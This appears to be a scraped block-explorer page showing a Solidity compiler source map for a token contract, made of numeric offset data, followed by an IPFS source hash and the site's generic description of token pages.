;-1:-1:-1;;;;;1961:6:0;177:10;1961:22;1953:67;;;;-1:-1:-1;;;1953:67:0;;3871:2:1;1953:67:0;;;3853:21:1;;;3890:18;;;3883:30;3949:34;3929:18;;;3922:62;4001:18;;1953:67:0;3669:356:1;1953:67:0;2139:6:::1;::::0;2118:40:::1;::::0;2155:1:::1;::::0;-1:-1:-1;;;;;2139:6:0::1;::::0;2118:40:::1;::::0;2155:1;;2118:40:::1;2169:6;:19:::0;;-1:-1:-1;;;;;;2169:19:0::1;::::0;;2048:148::o;3586:104::-;3642:13;3675:7;3668:14;;;;;:::i;4800:175::-;4886:4;4903:42;177:10;4927:9;4938:6;4903:9;:42::i;4066:161::-;1961:6;;4117:4;;-1:-1:-1;;;;;1961:6:0;177:10;1961:22;1953:67;;;;-1:-1:-1;;;1953:67:0;;3871:2:1;1953:67:0;;;3853:21:1;;;3890:18;;;3883:30;3949:34;3929:18;;;3922:62;4001:18;;1953:67:0;3669:356:1;1953:67:0;-1:-1:-1;4134:7:0::1;:14:::0;;-1:-1:-1;;4134:14:0::1;4144:4;4134:14:::0;;::::1;::::0;;;4157:12:::1;4150:4;:19:::0;;;4171:11:::1;:26:::0;4066:161;:::o;8781:346::-;-1:-1:-1;;;;;8883:19:0;;8875:68;;;;-1:-1:-1;;;8875:68:0;;4232:2:1;8875:68:0;;;4214:21:1;4271:2;4251:18;;;4244:30;4310:34;4290:18;;;4283:62;-1:-1:-1;;;4361:18:1;;;4354:34;4405:19;;8875:68:0;4030:400:1;8875:68:0;-1:-1:-1;;;;;8962:21:0;;8954:68;;;;-1:-1:-1;;;8954:68:0;;4637:2:1;8954:68:0;;;4619:21:1;4676:2;4656:18;;;4649:30;4715:34;4695:18;;;4688:62;-1:-1:-1;;;4766:18:1;;;4759:32;4808:19;;8954:68:0;4435:398:1;8954:68:0;-1:-1:-1;;;;;9035:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9087:32;;1391:25:1;;;9087:32:0;;1364:18:1;9087:32:0;;;;;;;8781:346;;;:::o;7984:612::-;-1:-1:-1;;;;;8090:20:0;;8082:70;;;;-1:-1:-1;;;8082:70:0;;5040:2:1;8082:70:0;;;5022:21:1;5079:2;5059:18;;;5052:30;5118:34;5098:18;;;5091:62;-1:-1:-1;;;5169:18:1;;;5162:35;5214:19;;8082:70:0;4838:401:1;8082:70:0;-1:-1:-1;;;;;8171:23:0;;8163:71;;;;-1:-1:-1;;;8163:71:0;;5446:2:1;8163:71:0;;;5428:21:1;5485:2;5465:18;;;5458:30;5524:34;5504:18;;;5497:62;-1:-1:-1;;;5575:18:1;;;5568:33;5618:19;;8163:71:0;5244:399:1;8163:71:0;-1:-1:-1;;;;;8271:17:0;;8247:21;8271:17;;;:9;:17;;;;;;8307:23;;;;8299:74;;;;-1:-1:-1;;;8299:74:0;;5850:2:1;8299:74:0;;;5832:21:1;5889:2;5869:18;;;5862:30;5928:34;5908:18;;;5901:62;-1:-1:-1;;;5979:18:1;;;5972:36;6025:19;;8299:74:0;5648:402:1;8299:74:0;8394:47;8415:6;8423:9;8434:6;8394:20;:47::i;:::-;8472:22;8488:6;8472:13;:22;:::i;:::-;-1:-1:-1;;;;;8452:17:0;;;;;;;:9;:17;;;;;;:42;;;;8505:20;;;;;;;;:30;;8529:6;;8452:17;8505:30;;8529:6;;8505:30;:::i;:::-;;;;;;;;8570:9;-1:-1:-1;;;;;8553:35:0;8562:6;-1:-1:-1;;;;;8553:35:0;;8581:6;8553:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;8553:35:0;;;;;;;;8071:525;7984:612;;;:::o;5711:2265::-;5822:7;;;;;:34;;;5844:8;5853:1;5844:11;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;5834:21:0;;;5844:11;;5834:21;5822:34;5813:83;;;;-1:-1:-1;;;5813:83:0;;6522:2:1;5813:83:0;;;6504:21:1;6561:2;6541:18;;;6534:30;6600:34;6580:18;;;6573:62;-1:-1:-1;;;6651:18:1;;;6644:32;6693:19;;5813:83:0;6320:398:1;5813:83:0;5911:13;5928:1;5911:18;5907:2062;;5961:9;;5946;;5961;;;:29;;-1:-1:-1;;;;;;5974:16:0;;;;;;:8;:16;;;;;;;;5961:29;5960:62;;;;;6020:1;6011:4;;5997:11;;:18;;;;:::i;:::-;5996:25;;5960:62;5959:87;;;;6039:6;;6028:7;:17;;5959:87;:149;;;;6071:1;6064:6;;:8;;;;:::i;:::-;6052:7;:21;;6051:56;;;;;6094:12;6079:11;;:27;6051:56;5958:283;;;;-1:-1:-1;;;;;;6115:19:0;;;;;;:8;:19;;;;;;;;:27;;:19;:27;6114:59;;;;-1:-1:-1;;;;;;6148:16:0;;;;;;:8;:16;;;;;;;;:24;;:16;:24;;6114:59;:126;;;;6194:9;-1:-1:-1;;;;;6179:24:0;:8;6188:1;6179:11;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;6179:11:0;:24;6178:61;;;;;6209:8;:21;6218:8;6227:1;6218:11;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;6218:11:0;6209:21;;;;;;;;;;;;;;;:29;;6218:11;6209:29;;6178:61;5958:304;;;;;6260:1;6246:11;;:15;5958:304;5946:316;;6306:83;;6407:37;6424:3;6437:5;6430:12;;6407:37;:::o;6462:73::-;6343:1;6336:12;;;6583:3;6356:2;6349:13;6384:2;6371:16;;6561:27;-1:-1:-1;;6558:35:0;6555:76;;6624:3;6618:4;6612:11;6608:20;6603:4;6596:33;6555:76;6659:4;6653:3;6647:10;6642:4;;:::i;:::-;6639:19;6635:29;6632:46;;;6667:9;6632:46;6688:4;6682:11;6679:103;;;6510:23;6709:20;6497:1;6336:12;;;6730:3;6356:2;6349:13;6384:2;6371:16;;6735:44;;6696:84;6679:103;6343:1;6336:12;;;6929:3;6356:2;6349:13;6384:2;6371:16;;;6907:27;6336:12;;;6371:16;;6881:24;6874:32;;6871:64;;6834:35;;6806:64;6803:133;6800:558;;;6975:4;6969:11;6996:4;6990:11;7018:4;7012:11;7002:41;;7039:1;7034:4;7027:14;7002:41;7059:4;7053:11;7104:3;7102:1;7098:10;7096:1;7093:16;7140:1;7135:63;;;;7224:26;;;;7086:164;;7135:63;7191:3;7183:6;7179:1;7173:5;7169:12;7167:1;7163:19;7159:31;7155:40;7153:1;7149:47;7144:52;;7135:63;;7224:26;7244:3;7242:1;7238:10;7233:15;;7086:164;;7288:1;7283:4;7276:14;7303:1;7298:4;7291:14;;;;7334:3;7328:4;7322:11;7318:20;7313:4;7306:33;6800:558;7500:3;7494:10;7511:3;6336:12;;;7505:3;6356:2;6349:13;6384:2;6371:16;;7482:28;7479:36;7473:3;7466:4;7460:11;7455:3;7449:10;7445:27;7442:35;7434:4;7428:11;7422:4;7416:11;7413:27;7403:8;7398:3;7392:10;7389:23;7386:55;7383:95;7379:137;7376:178;;;7538:3;7532:10;6343:1;6336:12;;;7543:3;6356:2;6349:13;6384:2;6371:16;;7548:3;;7519:33;7376:178;6343:1;6336:12;;;7701:3;6356:2;6349:13;6384:2;6371:16;;;7679:27;6336:12;;;6371:16;;7653:24;7646:32;;7643:64;;7606:35;;7578:64;7575:133;7572:250;;;7747:4;7741:11;;7768:4;7762:11;;7774:14;;;7789;;7572:250;7866:3;7860:4;7854:11;7850:20;7840:52;;7886:3;7881:4;7874:16;7840:52;7905:7;7900:4;7893:20;7925:9;7921:3;7914:21;7947:8;7943:3;7936:20;6286:1672;5907:2062;5711:2265;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;:::-;2090:39;1949:186;-1:-1:-1;;;1949:186:1:o;2348:260::-;2416:6;2424;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;2516:29;2535:9;2516:29;:::i;:::-;2506:39;;2564:38;2598:2;2587:9;2583:18;2564:38;:::i;:::-;2554:48;;2348:260;;;;;:::o;2613:380::-;2692:1;2688:12;;;;2735;;;2756:61;;2810:4;2802:6;2798:17;2788:27;;2756:61;2863:2;2855:6;2852:14;2832:18;2829:38;2826:161;;2909:10;2904:3;2900:20;2897:1;2890:31;2944:4;2941:1;2934:15;2972:4;2969:1;2962:15;2826:161;;2613:380;;;:::o;3407:127::-;3468:10;3463:3;3459:20;3456:1;3449:31;3499:4;3496:1;3489:15;3523:4;3520:1;3513:15;3539:125;3579:4;3607:1;3604;3601:8;3598:34;;;3612:18;;:::i;:::-;-1:-1:-1;3649:9:1;;3539:125::o;6055:128::-;6095:3;6126:1;6122:6;6119:1;6116:13;6113:39;;;6132:18;;:::i;:::-;-1:-1:-1;6168:9:1;;6055:128::o;6188:127::-;6249:10;6244:3;6240:20;6237:1;6230:31;6280:4;6277:1;6270:15;6304:4;6301:1;6294:15;6723:217;6763:1;6789;6779:132;;6833:10;6828:3;6824:20;6821:1;6814:31;6868:4;6865:1;6858:15;6896:4;6893:1;6886:15;6779:132;-1:-1:-1;6925:9:1;;6723:217::o

Swarm Source

ipfs://ab4ca652e9454e71bfa7c4cc14e848c4874af07b23e19ae3dbfa95266f9a2548
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.